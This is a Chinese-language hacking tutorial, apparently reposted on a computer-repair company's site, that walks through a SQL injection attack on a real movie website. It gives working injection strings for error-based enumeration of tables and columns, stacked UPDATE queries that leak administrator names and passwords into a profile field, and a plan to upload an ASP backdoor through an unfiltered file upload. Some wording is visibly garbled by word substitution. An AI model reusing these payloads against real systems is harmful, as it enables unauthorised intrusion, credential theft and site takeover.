设为主页 | 加入收藏 | 繁體中文

SQL注入的新技巧

  表名和字段名的获得
  实用环境:
  1)数据库是MSSQL
  2)连接数据库的只是普通用户
  3)不知道ASP源代码
  可以进行的打击
  1)对数据内容进行添加,查看,变动
  实例:
  本文件以
  为列进行测试打击。
  第一步:
  在输出用户名处输出单引号,表现
  Microsoft OLE DB Provider for SQL Server 错误 80040e14
  字符串 之前有未闭合的引号。
  /user/wantpws.asp,行63
  阐明没有过滤单引号且数据库是MSSQL.
  第二步:
  输出a;use master;--
  表现
  Microsoft OLE DB Provider for SQL Server 错误 80040e21 多步LE DB 操纵产生错误。如果可能,请查抄每个 OLE DB 状态值。没有工作被完成。
  /user/wantpws.asp,行63
  这样阐明没有权限了。
  第三步:
  输出:a or name like fff%;--
  表现有一个叫ffff的用户哈。
  第四步:
  在用户名处输出
  ffff and 1<>(select count(email) from [user]);--
  表现:
  Microsoft OLE DB Provider for SQL Server 错误 80040e37
  对象名 user 无效。
  /user/wantpws.asp,行96
  阐明没有叫user的表,换成users试试乐成,同时阐明有一个叫email的列.
  输出a having 1=1--
  一般返回如下也就可以间接得到表名和一个字段名了
  Microsoft OLE DB Provider for SQL Server 错误 80040e14
  列 users.ID 在选择列表中无效,因为该列未包罗在聚合函数中,并且没有 GROUP BY 子句。
  /user/wantpws.asp,行63
  如今我们知道了ffff用户的密码是111111.
  下面经过语句得到数据库中的所有表名和字段名。
  第五步:
  输出:
  ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
  阐明:
  下面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
  经过查看ffff的用户材料可得第一个用表叫ad然后根据表名ad得到这个表的IDffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
  同上可知id是:581577110由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了象下面这样就可以得到第二个表的名字了ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
  ad 581577110
  users 597577167
  buy 613577224
  car 629577281
  learning 645577338
  log 661577395
  movie 677577452
  movieurl 693577509
  password 709577566
  type 725577623
  talk
  经过一段时间的推测后我们得到下面的分析一下应该明确password,users是最得要的
  第六步:猜重要表的字段
  输出:
  如今就看看users表有哪些字段
  ffff;update [users] set email=(select top 1 col_name(object_id(users),3) from users) where name=ffff;--
  得到第三个字段是password
  ffff;update [users] set email=(select top 1 col_name(object_id(users),4) from users) where name=ffff;--
  得到第四个字段是name
  末了users表的字段共28个全得到了
  (注:另一个得到字段的措施,条件是系统的返回出错信息
  a group by ID having 1=1--
  得到
  Microsoft OLE DB Provider for SQL Server 错误 80040e14
  列 users.userid 在选择列表中无效,因为该列既不包罗在聚合函数中,也不包罗在 GROUP BY 子句中。
  /user/wantpws.asp,行63
  这个第二个字段便是userid
  表现第三个字段。
  a group by id,userid having 1=1--
  Microsoft OLE DB Provider for SQL Server 错误 80040e14
  列 users.password 在选择列表中无效,因为该列既不包罗在聚合函数中,也不包罗在 GROUP BY 子句中。
  /user/wantpws.asp,行63
  得到是password
  同理,一直表现出所有。:)
  )
  users表
  1 2 3 4
  id userid password name
  5 6 7 8 9 10 11 12 13 14 15 16
  Province homeaddress city adress starlook sex email nlook nos date money send
  17 18 19 20 21 22 23 24 25 26 27 28
  oklook dnlook lasthits phone askmejoin getmoney payno logintime mflag state post note
  starlook--12 10 2003 2:41PM
  nlook---0
  nos---2 登陆次数
  date--12 10 2003 12:00AM 注册时间?
  money--同上
  send--空
  oklook--0
  dnlook--0
  getmoney--0
  state--0
  note--这家伙很。。。 阐明
  password表
  1 2 3
  id name pwd
  然后我又试ad原来是用来记录告白击点的。。
  然后又试password表得到有name和pwd字段。
  实行
  ffff;update [users] set email=(select top 1 name from password) where name=ffff;--
  可得第一个用户名是admin123看样儿多半是办理员了。
  然后又得到了密码是dy***dick188照旧打星号算了哈哈...
  这样我们就完全进入了这个电影网站的后台了哈哈。
  http://www.dy***.com/login.asp
  再进一步还可以知道办理员一共有三人密码也都能看到了。
  ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
  ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
  ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
  只是能免费看电影好象还不敷哈..我看了看它的后台办理原来在添加电影的地方对付上传的图片没有过滤.asa的文件,这样我就能上传一个asp后门并实行。
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: